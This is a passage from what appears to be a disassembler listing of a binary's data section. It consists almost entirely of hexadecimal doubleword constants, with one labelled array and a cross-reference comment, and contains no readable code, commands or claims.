		dd 0D6A4E40Ch, 28B50F18h, 5F3C3B0Ch, 2D3A93Fh, 0C67B73C3h
		dd 0F5DD4040h, 226E356Fh, 26440C4h, 29B7335Ch, 332DD358h
		dd 0B250B415h, 70DE41h,	685EF731h, 53A92F3Eh, 0CD23D1BAh
		dd 0C2885163h, 1238E097h, 2CAE96A0h, 62576030h,	0E48A92BAh
		dd 90E1BD29h, 53802FFEh, 0B573D56Dh, 0C6F576B2h, 0F0582F54h
		dd 2E7891F2h, 55748981h, 2BE6413Ch, 2DE088FCh, 0CA3A3664h
		dd 774802Eh, 0D80172C7h, 0AD07A305h, 0C4E01112h, 60CEFB32h
		dd 81DE7685h, 37B82A5Eh, 0F07028B2h, 454F3490h,	0C30A9CE8h
		dd 0EB2BFC7h, 0AE7669E9h, 40479375h, 0E92AD488h, 4FD2A08h
		dd 0EC7C2768h, 640C406h, 17981FF4h, 1F1A7E3Dh, 0C4A653E9h
		dd 0A4A6FB32h, 0EDCBE983h, 252D0A0Fh, 5DC4A9B0h, 0D09FE0Bh
		dd 5CF19D48h, 0B41DC4BDh, 0A1E6C298h, 9E1A675Fh, 836FA0E3h
		dd 99C2061Ch, 0C55F5A10h, 0F1D8BF42h, 0A80C4F39h, 12B8C1A1h
		dd 35697F4Dh, 0C385332Dh, 10C5E853h, 510F0ABCh,	43E3BDB9h
		dd 83E4D144h, 17CC3C46h, 8D2D41BFh, 6A6D1337h, 7B0A5100h
		dd 2AE97F66h, 0B0AC3C22h, 17C42D5Dh, 304A7219h,	16650281h
		dd 0C4EB3168h, 7A45ECDCh, 0B4B4D84Ch, 0EBCED0AFh, 0B6C5163Eh
		dd 34880914h, 0FFC713E3h, 9420AA07h, 9F1C8702h,	7E2F47Ch
		dd 0CBE6DDD7h, 8006DD0Fh, 63B1A957h, 1E84256Eh,	31248078h
		dd 0E51E73F5h, 0A9594EA0h, 0E2EC97A4h, 3A64EFC0h, 10953EAh
		dd 0F8D9E9D7h, 92BB02CBh, 31666F25h, 1A1307Fh, 0F532B7CBh
		dd 404ED04Eh, 73CB0112h, 3C01DE48h, 0E9407057h,	0F4E4D2E7h
		dd 5C9D9BC5h, 0AC974FE6h, 0ACA94E7Fh, 3FEC8080h, 8D31E953h
		dd 0EDC11A64h, 0DAC59481h, 821E3528h, 0B5313F0Ch, 0F4C0622Ch
		dd 655B07F6h, 89F71979h, 4BC450B8h, 0D748E221h,	2312DCFDh
		dd 7B02B409h, 78E43A51h, 0B112B170h, 7C3B197h, 0B3ED4400h
		dd 160277F4h, 28C2F180h, 88F855C8h, 5ED01C4Dh, 22E33F9h
		dd 56228926h, 15F5B383h, 822190D1h, 0B179A452h,	0F15D4018h
		dd 474D1313h, 8235029h,	4010E909h, 75026523h, 0A4A29910h
		dd 1B78924h, 4CB848BFh,	1E12154h, 61761ECBh, 170B4492h
		dd 0F133D908h, 2E7CC06h, 3D4EE924h, 0CE895987h,	2863D483h
		dd 79A82110h, 1F3B2A46h, 0EFE740C9h, 59D04B06h,	8231B7h
		dd 1E4C2E0Dh, 69B13527h, 3729F72Eh, 36680502h, 941C426h
		dd 84DE8F20h, 552780DCh, 8382C032h, 0D30F8189h,	5AC9CBF2h
		dd 6C771709h, 685812CBh, 0FA1A53C1h, 0E4AF2094h, 71284C42h
		dd 0E102B4EAh, 65A45994h, 1A235F49h, 30079A4Dh,	1E6E96BEh
		dd 0BA125DA9h, 0AB0F44FCh, 0E9386207h, 25E7056h, 706D18BDh
		dd 0FD890Bh, 0B26ECE6Ch, 5B35011Bh, 0E92D9D04h,	0E607253Dh
		dd 7A4EB27Dh, 8E574E4Ah, 3381101Bh, 2577F05Bh, 356F4D0Eh
		dd 0A595D02h, 452F0132h, 0A82BE927h, 61AE4FFCh,	0E1FC99h
		dd 98616857h, 3C5EF1h, 65973E1Fh, 89E589FDh, 7CF69270h
		dd 195EADA3h, 5CDDEF02h, 0A1C39E04h, 0B800D274h, 620B73EDh
		dd 8EC2313Bh, 53073015h, 17B7B450h, 0D5E70719h,	5BC7B030h
		dd 0B62D8497h, 0E2F58807h, 0F86414C9h, 87DAFB0Bh, 24B98B03h
		dd 25825A95h, 0BB78E0Ah, 0B50BFF29h, 909557CCh,	80EB367Eh
		dd 505B7F68h, 9842A4E3h, 8B1C581Bh, 0A2BDE4B7h,	0CE873ED8h
		dd 55D571AFh, 78E77327h, 303B1E25h, 126F2956h, 43A4E972h
		dd 92F78042h, 0D45C062Fh, 0F35B0827h, 4BC8BD01h, 0C06A311Ch
		dd 72D7488Eh, 4A14F1BCh, 303226F9h, 13F77016h, 361257Bh
		dd 77729D7Eh, 0E931EFD3h, 1EA594DCh, 0FF5B3A55h, 50A77BE7h
		dd 800FFC97h, 0E078B652h, 1520295Ah, 5C502B9Eh,	0C005D169h
		dd 9C013971h, 0D593F1Bh, 71F927ABh, 76EB6078h, 36602750h
		dd 6A01020Ch, 51E8B20Eh, 0CA008C3h, 2F529914h, 0E9505D74h
		dd 0C6619D66h, 5E894E5Ah, 2B87E7BDh, 0BA130E78h, 0F13F7E2Dh
		dd 0CF7960E7h, 0EFB0E917h, 82C06F9h, 4A0E16C8h,	80641CA6h
		dd 376C6F4Eh, 0B29C01E9h, 0F3686602h, 0BB44D432h, 37437A97h
		dd 0D2B9C121h, 12BDD06Bh, 4D502C78h, 548195D5h,	9F30EAD8h
		dd 300167E9h, 5582C5CEh
		dd 0FC63DC40h, 5A9D12BAh, 51712FA2h, 3602DD6h, 2D4EBA02h
		dd 96575958h, 56D20986h, 0EC8218D9h, 0B300A05Ah, 0F2DA8811h
		dd 1342F47h, 25195FEh, 9E95110h, 0F3195F63h, 48BCB188h
		dd 574DFC42h, 555C0F64h, 0E521254Fh, 0B03CA44Dh, 0AD0AE928h
		dd 0EBE115CEh, 1AB07CC2h, 61574429h, 75E41A99h,	24472468h
		dd 12C2C0BCh, 82B7405Fh, 0FC45C5Ah, 802F9280h, 445C2930h
		dd 1581FBDh, 0A0B871E5h, 0C1E91611h, 5E02E2B7h,	96B3807Ch
		dd 0F859178Ah, 6AC7A273h, 566E7537h, 0D113592Eh, 251AC740h
		dd 0FA12761Eh, 84113A7h, 8E50AB4Dh, 0B14C5F08h,	0B054782h
		dd 73C70DDDh, 1F2D6D85h, 6FD30207h, 90491976h, 8C372F5Eh
		dd 0D868E730h, 119C9F3Bh, 0F00DA096h, 0CF3F10E0h, 548A5EA7h
		dd 0E94D5C30h, 50960D83h, 217C3A82h, 0BA15805h,	307146F1h
		dd 0E21738F4h, 39AACFC4h, 362A204Ah, 1FA34C17h,	0C2BE40FEh
		dd 1D16031Eh, 43B4A9Dh,	95C05308h, 177B7134h, 753C8B38h
		dd 16A0FC69h, 0B7E3C618h, 0D2C3044Bh, 27F7FD57h, 0F97E899Ch
		dd 0BC60E57Ah, 66AD4361h, 2D5E3164h, 0A814C5D0h, 89629DBCh
		dd 68800918h, 3EDA7E02h, 1B2C314Ch, 0E0581B68h,	4EB66097h
		dd 5BBA01Eh, 51809DBCh,	3A6BA168h, 0E06AF90Eh, 9FBE8FB1h
		dd 0B1E3B073h, 42BB0902h, 46D55468h, 6AFA0B27h,	0A2FE4159h
		dd 0AFAD3F26h, 97985DFAh, 0D51B415h, 0B8B954D8h, 0A3E4FC0Bh
		dd 522C0994h, 3CFAF9E4h, 0E65FE98Eh, 45A323C5h,	42C38009h
		dd 7E57A25Dh, 9F6CC6D1h, 0DD4F3E74h, 0AB0131CAh, 3874F6E9h
		dd 71836ECCh, 0E9989061h, 0A1D2BBE3h, 0F3D6D0ABh, 2C12DC63h
		dd 0B010F129h, 0E8804B08h, 0F64A084Fh, 68BA4032h, 984CEE29h
		dd 1C1AE8B0h, 0BA253942h, 4AB03075h, 0B35F9F3Ch, 28E91808h
		dd 0D6F60BE8h, 0E9972CC1h, 0DFDAC6h, 0BF680339h, 89B9912Dh
		dd 4C5EF088h, 74405D13h, 2C98B05Bh, 44ECEEEh, 60B02D97h
		dd 8D946604h, 0F9BE0749h, 28B75391h, 0C229E0C6h, 63DB9718h
		dd 0D9B0E728h, 0FD6991B7h, 1694B82Fh, 498C1844h, 9D049201h
		dd 0EA7D4AC2h, 2602D5A9h, 0BDCE0h, 0D4C2751h, 780EA02Eh
		dd 0BD5580ECh, 0D5B1794Ah, 0B5E121ECh, 0B8091ECDh, 0E75DF6DCh
		dd 0AED3C2C7h, 0ED98D968h, 31383F0Bh, 51D50C6h,	3EE9525Eh
		dd 713488E3h, 0B62F48F4h, 169F621h, 12750BF2h, 0D75E3039h
		dd 5A838E7h, 5C510BDh, 7403FE8h, 6BFF9C5Fh, 8BFDh, 44696418h
		dd 0A12CC020h, 0E9EE174Bh, 0E4DF502Eh, 5FCC68Fh, 0A198296Ch
		dd 563D071Eh, 0F2F3214Dh, 4E7536F6h, 0F8769F50h, 80403845h
		dd 0F33AC3B9h, 4C292C3Eh, 0F273F4Dh, 0DAE4188h,	3B48CE49h
		dd 805A99DFh, 7108A57Ah, 0EDD14802h, 5224C6E9h,	0E38D316Ah
		dd 3E595F70h, 4F7FD9A7h, 0BF9784DBh, 0E621F9E0h, 4B6B7D41h
		dd 0BABD00D8h, 67121B62h, 66507F90h, 0BC945E06h, 5AD63161h
		dd 6BCEA63Bh, 0E9D4011Bh, 0DFFE139Fh, 0DDFA7ECh, 20205897h
		dd 673F2EEh, 895A2110h,	0E93D49F1h, 5222E29Ah, 1FF1535Fh
		dd 4E75C951h, 10CCB0DDh, 0ED3EE14Dh, 0F74193CCh, 2E290ACBh
		dd 683AB12Dh, 0E3FD1FA4h, 56903391h, 3E735CBAh,	0E1845Ah
		dd 0D54254CDh, 69796A5Ah, 9D3E55FCh, 0FFB47FEBh, 0D704E3CCh
		dd 2DFA8347h, 37F8AB4Fh, 0DB3084h, 757B22B8h, 9EE1B55Bh
		dd 35D0D048h, 5D172569h, 0B671C109h, 0F389F0CAh, 0C29AA019h
		dd 609F767Dh, 5877302Ch, 0C4DA5756h, 1C080D1Ch,	4FF61405h
		dd 0FCFF4813h, 71089E88h, 8ADD3958h, 8530EB4Fh,	4C644616h
		dd 1F01110Fh, 0E923EB43h, 130A3E8Ch, 49CBC35Fh,	0B7359D35h
		dd 0E5A3EC3Eh, 0C1E1B316h, 24521A30h, 1004CBFEh, 15A14831h
		dd 9A217F70h, 0F1ACDC3Dh, 7E90133h, 0C24C9528h,	0C6F4C00Bh
		dd 230A1150h, 0EB034D2Eh, 0C3080B3Dh, 0CD2D403Fh, 47711835h
		dd 4EED1129h, 6EF05910h, 0EBC3E90Bh, 3B800FF4h,	68840FC2h
		dd 53C6CE1Ah, 0F049A6A7h, 0E3D15B48h, 0DFBA1A97h, 72041CE3h
		dd 0EC15E9A2h, 535E0BAEh, 0B4B2F954h, 3AC6C057h, 383081B7h
		dd 0C8F72FA4h, 2051BAh,	0E28125D3h, 1AAA1C4Ch, 62018D98h
		dd 0E92CFC35h, 88506D04h, 7D3B13CAh, 0AB22C0D1h, 29DEC501h
		dd 2C2069B8h, 2C16B0FCh, 6B15D927h, 0FEA5AF59h,	70F425DCh
		dd 2D04DA72h, 0E3E4FAA6h, 3CB9921Dh, 7644EF81h,	46701352h
		dd 7FDBBDAFh, 55CA2D01h, 106F3334h, 1A4907EFh, 9C8EAA93h
		dd 805FA95Fh, 8F33E5BEh, 31E9141Ch, 0E542C420h,	9A14273Ch
		dd 979E362h, 29C116BEh,	7C0DE0Bh, 0A526284Ah, 3209A122h
		dd 8852714Ch, 7C40C7DCh, 0EC18206Eh, 1F7309E7h,	82F20B5Fh
		dd 5EE0056Bh, 1297A667h, 6739443Ah, 4299FF39h, 4562934h
		dd 1F592ABEh, 0D9C38246h, 477C6801h, 4057372Ah,	587E1C4Eh
		dd 26F3789Fh, 6661CE4Bh, 70B706F6h, 0C37C2510h,	0ECC11713h
		dd 0F6664810h, 0BBF8FB4Ah, 0A25558Fh, 13365EC5h, 0AE90C43Ch
		dd 929288A6h, 4A78AC89h, 2E60BD1Ch, 4031334Bh, 0B76EA22Ah
		dd 4C6217AFh, 374B6669h, 1A74185h, 0F20968F8h, 0C20275Fh
		dd 0CDCC55A9h, 49FEF730h, 135054C3h, 0B65E3FF6h, 27350BCEh
		dd 0F23FC401h, 0FC314EAEh, 0D369C520h, 0EFA40856h, 240959EBh
		dd 0C78D4C9h, 4D32824h,	6AE1703Eh, 0EDE456B9h, 0DC65357Eh
		dd 0B3F14F80h, 7F572779h, 80411162h, 0F95F03DDh, 0A33A02C5h
		dd 0F8E9C27Ah, 89257CE4h, 0BBD7AB0Dh, 0B64D963h, 59814F2Ch
		dd 8C53A368h, 29435F1Dh, 45A1CF0h, 2CD00EC0h, 0E9BA859Ch
		dd 89E1D0FBh, 5D6451D1h, 65BFF49Ch, 0F0AAA1AAh,	2D803BBAh
		dd 66312A8h, 7129F82Bh,	3F1794FAh, 0F6A12979h, 95DC68CCh
		dd 2E1AE2B0h, 0D06C742Dh, 0F47F689Eh, 0B782C5Ah, 0E1D396EBh
		dd 0F002DCA4h, 8E10DB17h, 0E26920F2h, 4ED2E95Ch, 42335B0h
		dd 0FAFB53D4h, 16EC7ADDh, 0F84FC9F2h, 0A8CEC4D7h, 95E1780Dh
		dd 7C6BE351h, 9C1E0FBh,	0BD051A4Eh, 33AD3659h, 13DC4ABh
		dd 0A9374BDFh, 6D0C8341h, 0FB123A76h, 431F3AE5h, 1CE5710h
		dd 65247C2h, 0F620CD01h, 7E247BEEh, 1DB6EA65h, 814C8D25h
		dd 1A488AC6h, 0A9177EEDh, 52925AB8h, 0F184AE1Bh, 4EB2A287h
		dd 93B751F5h, 5497BB58h, 232E596h, 8007E6C0h, 54B51F6h
		dd 3650F1F2h, 42C5C1Ch,	0D1D1392h, 0D4B2777Ah, 0D8D4FE9Fh
		dd 0F4A0305Ch, 11B13464h, 4742569Eh, 0E4761C14h, 0A50C201Fh
		dd 4902BF35h, 8FF554E1h, 68174A6Ch, 0C146BCD6h,	4731B850h
dword_4F0044	dd 0F26B0CC9h, 0AEE93AFBh, 85A60074h, 0D5F07209h, 165DBE1Ah
					; DATA XREF: ___:004385A4o
		dd 0D1A4D2D3h, 6ADFBC38h, 5085A5A2h, 2770BC2Ch,	2E32DDC5h
		dd 82F821A2h, 782F851h,	57746306h, 80233385h, 0BE96DB3h
		dd 3522009Dh, 5F276BD8h, 5F7E8168h, 898A6D56h, 7C6501Bh
		dd 0CF798C05h, 672FA662h, 95354803h, 0D978475Eh, 0AB3D14D8h
		dd 0B4D3F07h, 53DF8E77h, 4F90FE24h, 58A97F06h, 0D80BEC1Dh
		dd 6D07E14Fh, 5C0C91EAh, 0BD0C8041h, 13E8D73h, 0A9A498D5h
		dd 0CFDB837Ch, 0BF04D176h, 0E9C205F3h, 759C6AF9h, 42144A88h
		dd 0FE51FF56h, 3E621049h, 2FF9918h, 1CAD680Ch, 360B5E5Ch
		dd 95B9D184h, 5C2783FDh, 40F2065Eh, 97D59302h, 52C93054h
		dd 15853A85h, 42010EACh, 0B4008DFFh, 26E32855h,	0E0065866h
		dd 0D2F6DA88h, 76807AE9h, 181BCB80h, 0E3A118E9h, 59F05E5Fh
		dd 5B470D97h, 0C57BA76Ah, 0E1B0DBE9h, 0AD344A68h, 0F63D19FBh
		dd 5AC4580Ah, 0E819BD51h, 0B749352h, 5AAED08Ch,	48DBF370h
		dd 21757955h, 0A12FA79Ah, 123559EDh, 0DA8F0552h, 138AB927h
		dd 0BCE39C59h, 15E5227Fh, 646E5EB5h, 29C4EE31h,	8AB49AEBh
		dd 79A5C7E3h, 685C8221h, 645E590Bh, 0B0F0C62h, 0BC5D1B8Bh
		dd 0D4E94F88h, 0C8378210h, 5642047Ch, 206C5765h, 9023E91Ah
		dd 25DDC14h, 384970F9h,	59A0EBE4h, 315A6568h, 83028B32h
		dd 0D0E0EE3Eh, 480104E8h, 135E2FD6h, 1C80BBDFh,	7DA6D24Ch
		dd 0E1904AFFh, 2DC236D4h, 0FFB94231h, 0E98672CFh, 161891BFh
		dd 1E82E780h, 58CAD0EBh, 19CE0664h, 0E60CC64Bh,	466910B6h
		dd 2A5C043Ah, 8CE343E8h, 0F2F33D35h, 0E2982767h, 3AE57507h
		dd 1D6CEA8Ch, 303AFCF5h, 95AF210h, 4D5EF806h, 84056B9h
		dd 0B7CA5DE9h, 59CD290Ch, 52174C38h, 18AE3330h,	0A5B81C03h
		dd 64C46200h, 6D46BB53h, 81350113h, 6B0EA8CBh, 1FE23B5Fh
		dd 0B6FEDF05h, 1004EAF7h, 21AE9374h, 818288ECh,	3A75EB9Fh
		dd 4682771Fh, 32654A7Bh, 0AA831A5Ch, 3A230A19h,	7298A31Ch
		dd 1BA73411h, 0C23FFA30h, 0A0235506h, 0B77CF2AEh, 0AFCAFC1Bh
		dd 565189F7h, 389854BEh, 0FB99D40h, 166B1552h, 0D33E4F45h
		dd 8BA5654h, 9C933578h,	0A08F5CC4h, 0E9835949h,	1713A606h
		dd 71BD02C7h, 14272CA2h, 0BD5B1368h, 78498B4Eh,	2595A4Dh
		dd 11BF40Ch, 96A08777h,	807A1C2Dh, 306FEF34h, 325BF938h
		dd 50982CEh, 949D0B57h,	23757AC2h, 4908C5D0h, 0E909B710h
		dd 0BBDCD27Ah, 24685150h, 0C2E26E53h, 6623F179h, 0C55D9554h
		dd 98815395h, 7035E90Dh, 86F49F28h, 4A1A8E4Ch, 10E2B37Eh
		dd 0F74DB8ADh, 557917D6h, 6D09F068h, 6607F618h,	3F02CDD4h
		dd 8D7CC939h, 726702A5h, 0A161827Fh, 6052C4Fh, 39C8685Ah
		dd 0F5FB256Fh, 5D6B9CFEh, 0F265CDA2h, 2D97440Ch, 0F772971h
		dd 21EC48Fh, 26583888h,	833FF55Ch, 1F41345h, 9220C09h
		dd 0C6660150h, 0A06A43B9h, 735B29B7h, 0EE0253E5h, 7709E1DFh
		dd 0A63BB5F5h, 0B4C047Ah, 65D25178h, 0C0F5EA06h, 40630E0Fh
		dd 0D801E256h, 0E926CE0Ch, 5FC21816h, 76A076B6h, 55815301h
		dd 9DEFD9D8h, 0B7E35AFCh, 0E06A582Bh, 8D311400h, 2FDF0D59h
		dd 2D0468EAh, 0FEE1CE28h, 3F1290C0h, 0E959121Fh, 4E00F8ACh
		dd 0F7CB78BEh, 0D031D21Ch, 6808C299h, 2E666DE1h, 0F3B0B417h
		dd 4C68421Bh, 95D420A3h, 0CBA621D9h, 7DED5F12h,	0AC25BAA4h
		dd 595D88EAh, 5FBE0500h, 0C829442Fh, 19B90051h,	816B4240h
		dd 141206C1h, 0D0BC636Dh, 4AFF101h, 824116BAh, 44B06E1Eh
		dd 5262791Ch, 0CF0747D2h, 8127EC05h, 3D115250h,	809FB80Ah
		dd 3F6254B3h, 0C7036DAFh, 5BBF0B01h, 41F5E8A4h,	0E9E80808h
		dd 0ED9EAA33h, 0F852BAC1h, 0E3883342h, 0FAC8C1Eh, 3BB2A75Ch
		dd 7F062192h, 315AAD6Eh, 0B5EE48C4h, 0DCE201F7h, 0C40A725Fh
		dd 2B87996h, 162FB96h, 1C30F004h, 0C06607BFh, 0A5BA5263h
		dd 4B093929h, 0F5A6F5E9h, 22766C3Bh, 9534912h, 4A2774A8h
		dd 0DF0938F4h, 649754C7h, 0F590FF8Eh, 2D20CEEBh, 61505BDDh
		dd 1EB8F5F2h, 7EB888F9h, 9202C5Eh, 6A20E0B5h, 0DEBCDDF7h
		dd 25F08F5Ch, 2CB71F8h,	10CC7E9h, 0EFBB3580h, 287D192Ch
		dd 40D64E33h, 0F725A787h, 6067CA01h, 0C84716E7h, 6CF67A50h
		dd 0A9684F47h, 0F0E90AA1h, 0C8C9741Dh, 0C325AFA8h, 0F0F2806Ch
		dd 0B9FC76C2h, 7B0FEB80h, 0F84350CCh, 9DF1903Eh, 10401B1Ah
		dd 0AB095909h, 0F96C816Ah, 708A0B4h, 74140F2Dh,	0A365B5E9h
		dd 3813130Bh, 2787E164h, 6735070Eh, 257A2FE0h, 0C7731E2Bh
		dd 6306870Ah, 9555B04h,	3E0257FDh, 0BA75562Fh, 26877C4Bh
		dd 585902BAh, 0EAC03D60h, 764BCD68h, 1144B030h,	52075FA0h
		dd 4A46ACFDh, 6A285DA0h, 405EA01h, 0BC63242Ah, 1B92040Ch
		dd 2DC740DAh, 0E4DC1653h, 9E520D83h, 1A5A6EC4h,	859AE1E2h
		dd 0CDD9A27Fh, 2BA2AA8h, 1DA226F9h, 68050373h, 87347F5Ah
		dd 3C6AEA80h, 9A2B61F5h, 0C9F2315Bh, 560898D6h,	0F6875E71h
		dd 5A8A2B68h, 2DB81CA5h, 3547FE69h, 0F0B02C57h,	97275BE9h
		dd 893E27ECh, 0CEEC2CFEh, 73F08CB0h, 251D7B66h,	591043A5h
		dd 821A24F6h, 402691BBh, 4F7C5242h, 0F0B58101h,	0EC0A452Dh
		dd 46500E67h, 4A7D43Ah,	14511EADh, 0D2CFE0BAh, 264616C0h
		dd 27E9BA2Bh, 6CE61058h, 89810839h, 348A22Ah, 6906CA6Ah
		dd 6555F621h, 4BC99C07h, 358BA9D6h, 82E1CAA5h, 0ABC8C7F6h
		dd 3CFE474Fh, 0A1D4665Eh, 0B0CB580h, 22A5B011h,	0E71EC04Dh
		dd 29D25AE8h, 0BD6EBA00h, 4801F5B8h, 202066F9h,	2022E495h
		dd 2959CE77h, 23AB160Ch, 9153CF0h, 5917CF7Eh, 554E7EF0h
		dd 0CD3DAEF3h, 0D01AA317h, 406875B2h, 16EC7840h, 0E5EDDA93h
		dd 9DD74166h, 38F9054Eh, 9022F307h, 0D984D2B0h,	654CC90Eh
		dd 0E953057Bh, 0BA3AE057h, 7D12B309h, 206CD0F4h, 0BB1DBC0Eh
		dd 0CCF9785Eh, 36261096h, 0FD392A4Ch, 2F6AACDFh, 1621CC56h
		dd 0FF345C68h, 75501062h, 3955143Ah, 0D9000C29h, 5664461Fh
		dd 0EC13C558h, 87B64F99h, 92F59040h, 897EFB65h,	52763443h
		dd 45A1A8A0h, 0E9572E02h, 5B010999h, 1D9E3D56h,	7A59E51Fh
		dd 585474ADh, 8082ADE4h, 72B17174h, 0E963B59Ah,	38A74E00h
		dd 0EB292F51h, 0ED5330E9h, 0D03AEF2Dh, 55CCDD27h, 0CD713C02h
		dd 1890D50Bh, 500E829h,	375A728Fh, 1262355Dh, 0FF6BF67Ch
		dd 19790E8Ch, 0C8100B78h, 83A0549Dh, 0CACDC07Dh, 66F05F1Eh
		dd 99404F9Ch, 7D8800AEh, 115CAA39h, 506F20F0h, 5B26E05Ah
		dd 30FC46C1h, 5F4B9CE2h, 43D42C0h, 10A2A0C7h, 21492E7h
		dd 3B9F6BE6h, 7241D721h, 0D417AA7h, 1BA14269h, 0A22F1C31h
		dd 0F583105Ch, 0AE028465h, 0E99F0B37h, 97537024h, 0F6209B67h
		dd 70A8D6B5h, 42C75653h, 0D5092AE0h, 0EE26E2E5h, 5B011A10h
		dd 721D942Dh, 1995D40Fh, 4E655D30h, 609E0DDCh, 75280C1Eh
		dd 878014A6h, 60791F31h, 20402401h, 140CD008h, 0C02EE640h
		dd 6372BD60h, 0C8B64E84h, 7D59F63Eh, 503260F8h,	726D9903h
		dd 0E1123B2Dh, 528DDC8h, 0E95E0907h, 0E31315EFh, 330793B9h
		dd 0A5CE01B2h, 50350D14h, 4A9A9A3Bh, 0BA0278B3h, 7F9C426Eh
		dd 4D756BDDh, 3CC05304h, 21EFAC39h, 2C42D64Bh, 7A2017E9h
		dd 0C5E54BE8h, 0AE14EFE5h, 0CC0D1817h, 247EBE12h, 0D1FE415h
		dd 98B606E6h, 4EB2080Ah, 0FF3630E9h, 268D68A2h,	7633DD30h
		dd 17101CF2h, 0A04A27AEh
		dd 460B1DD4h, 2AD0E906h, 72021459h, 600D115Bh, 2F4984F7h
		dd 7B075908h, 0AF39C44Ah, 8FF50DD0h, 1DA3274Bh,	5884BF88h
		dd 0DBBDFE68h, 26EC1071h, 0BD82B08Eh, 5F542F81h, 6129D019h
		dd 0CDDD00D3h, 0D301907h, 0A0428A30h, 1FD2F7Dh,	4C2D2076h
		dd 8BE6BC06h, 0B73A4A26h, 0C7A4A082h, 20907D0Bh, 76BA632Eh
		dd 0A2079518h, 9DDB2796h, 2AFDB73h, 93ABBE4h, 986A81DFh
		dd 0B9705C06h, 3F0F17C1h, 0F17800F2h, 519A324Fh, 462B24F9h
		dd 1A492B32h, 6EB8672h,	0F0630932h, 0F51E52h, 676ABF89h
		dd 0E9311D18h, 8FD96FF2h, 0AC0018CAh, 294F9338h, 13B9BDAh
		dd 903DB1B9h, 6C5E805Eh, 411ACF1Eh, 49D12DF7h, 0FC600259h
		dd 2D328C10h, 7097D101h, 995C5C19h, 904036F0h, 0CCBD4A17h
		dd 0E440036Dh, 72EA4C80h, 0A2550213h, 2766055Bh, 2C43962h
		dd 680A12AEh, 995F682Bh, 4516ABA9h, 45CCEBDAh, 0F4C35B29h
		dd 0B8601268h, 4C4EC73Fh, 5C60F3FEh, 0D8D5451Bh, 0A8ADC080h
		dd 0DAF0DE27h, 95AF4655h, 2495EDC1h, 0BE065625h, 53C6759h
		dd 0BA3201Ah, 0C4E75A5Ch, 0C0063420h, 165A27EAh, 8D5924A1h
		dd 0FD274B41h, 9E820C57h, 0FBC4FDE1h, 27E0584Ch, 839BDA08h
		dd 8900C49Fh, 3ACB68C2h, 0B88B27BBh, 0AE71A40Eh, 48F4E3BBh
		dd 651D0BE6h, 0C2A38F4Fh, 6132F737h, 0D5C279D1h, 10CBFBD3h
		dd 0B53E8F0Fh, 0EC40D9CCh, 0CCF54E88h, 0D57AF6B5h, 8F83EB5Eh
		dd 0D9FABD25h, 0E49E695Dh, 0F7A92F05h, 3C6241FBh, 801B6A50h
		dd 4E72C10Ch, 4DE94A04h, 0FC48D47Fh, 900062Fh, 8A7288EDh
		dd 5DEE8916h, 80A0D4ABh, 5C84C659h, 897E572Eh, 5128F801h
		dd 58F10961h, 4E69C771h, 75D6E101h, 0D9C10F5Ah,	3AC76005h
		dd 68460A12h, 513F42FCh, 0D8F8E2CEh, 2476F12Ah,	27E3CB1h
		dd 7FD33F8Ah, 0A6FC84FDh, 4A3065F0h, 0B829AEC8h, 68FB207Eh
		dd 482670Ah, 28FED8B4h,	5CB0F12Ah, 56C2B727h, 0A4117226h
		dd 5BD674A5h, 2D8B93BEh, 865C48EDh, 0AD60E53Dh,	136907E3h
		dd 1F4310C8h, 5A5DF301h, 0EB1A2084h, 4348301h, 5BDF29F7h
		dd 0D675443Bh, 332D0714h, 5E5642F2h, 4B006BE0h,	1A074CD6h
		dd 0FC20CE90h, 54B9038Ch, 8178CE5Bh, 8B4CF1D8h,	4858304Ch
		dd 0AD9375Bh, 0D28E92C2h, 1F9204Ah, 4B44294Fh, 44AA0508h
		dd 103C2E55h, 305B7BE2h, 975C80DCh, 0DF5237D4h,	0A26B045Bh
		dd 0C812C875h, 0F05A54C8h, 0A7115B6Fh, 2FD0580Ch, 973716A0h
		dd 0EB0160DBh, 3E095EACh, 40BA52Eh, 0EC98AB08h,	7C7D27E9h
		dd 0E2535AFEh, 750A4AC9h, 0A5E2EAF9h, 0B1F8EBF3h, 0A76CFAEDh
		dd 32790C4h, 0D00CBBB8h, 4AF0313Eh, 2104A25Eh, 355D3F02h
		dd 0C412B24Bh, 0B1079E8Bh, 44F37591h, 0FE5257CEh, 1FF20360h
		dd 987A4F45h, 8A02CDD0h, 0E9364D1Ah, 6620493Fh,	4036877Ah
		dd 6A5AF781h, 0E73EC1F2h, 8C50BF08h, 1EC522B8h,	78E931C7h
		dd 202D420Bh, 30BE4F14h, 9103CFA6h, 0EC4C8F16h,	6F8CDD84h
		dd 0B51E7368h, 71559F1Ah, 8FAA65F7h, 2EF85F1Ah,	0BB65954Bh
		dd 60BB4C4Fh, 0F703AE47h, 0E94B1FD3h, 0C0BEA61Ch, 3DAE640Eh
		dd 945A41FAh, 775071D2h, 0A770E396h, 9A691625h,	95B7042h
		dd 6EA12E28h, 514B445h,	0FFE9090Eh, 808522EAh, 0CBB741EBh
		dd 55D6C3D5h, 6841A3D1h, 5C3C1987h, 0FDE88EC4h,	16F13C5Dh
		dd 0A722A69Bh, 822FCAB6h, 7C2ECB2Dh, 0D6CFEFE6h, 40E457CFh
		dd 7AD9EF9Dh, 0E98FF269h, 8A1083A9h, 0F9240382h, 0E206886Ch
		dd 20440B94h, 0BE02715Eh, 0BD022830h, 6F4C5D31h, 0DB17DC98h
		dd 9E04673Eh, 68ECE775h, 4C701FCBh, 0BFED5C5Bh,	9F21FF93h
		dd 104C667h, 0CD0981E2h, 2CC7ED17h, 645B271Dh, 0F194202Ch
		dd 81A027B6h, 7F34DE5Fh, 2EE20E85h, 2CE95282h, 58071FF4h
		dd 5382D528h, 4098D7C8h, 0C18206ABh, 0D38501Dh,	0EC4CFF46h
		dd 91B52212h, 5273A65h,	5CB8C900h, 73590A4Dh, 0D4ECBD8Bh
		dd 0F7EA1C97h, 0BE0A216Bh, 61302ECCh, 8001126Fh, 6EA80963h
		dd 49988CB6h, 88D282B7h, 51B652C8h, 0F86B8251h,	0E7E9E00Fh
		dd 696EB7C3h, 0E8913097h, 0C6F8BE2Dh, 0F10527B2h, 391279FCh
		dd 43A391EEh, 0F61D8130h, 1E7475BBh, 9A480C82h,	0E25F215Bh
		dd 53715598h, 0ABBACB8Bh, 0FE0B60D0h, 4806EC5h,	0C87197Eh
		dd 0C3206BB1h, 3D769DB8h, 4517290Ch, 0CF4040CAh, 2F3A1F61h
		dd 0A3093B98h, 7C108540h, 286C2F58h, 56F02127h,	0B47769C3h
		dd 12A52D6Ch, 72408979h, 0C159FA52h, 7C585168h,	0E9942A06h
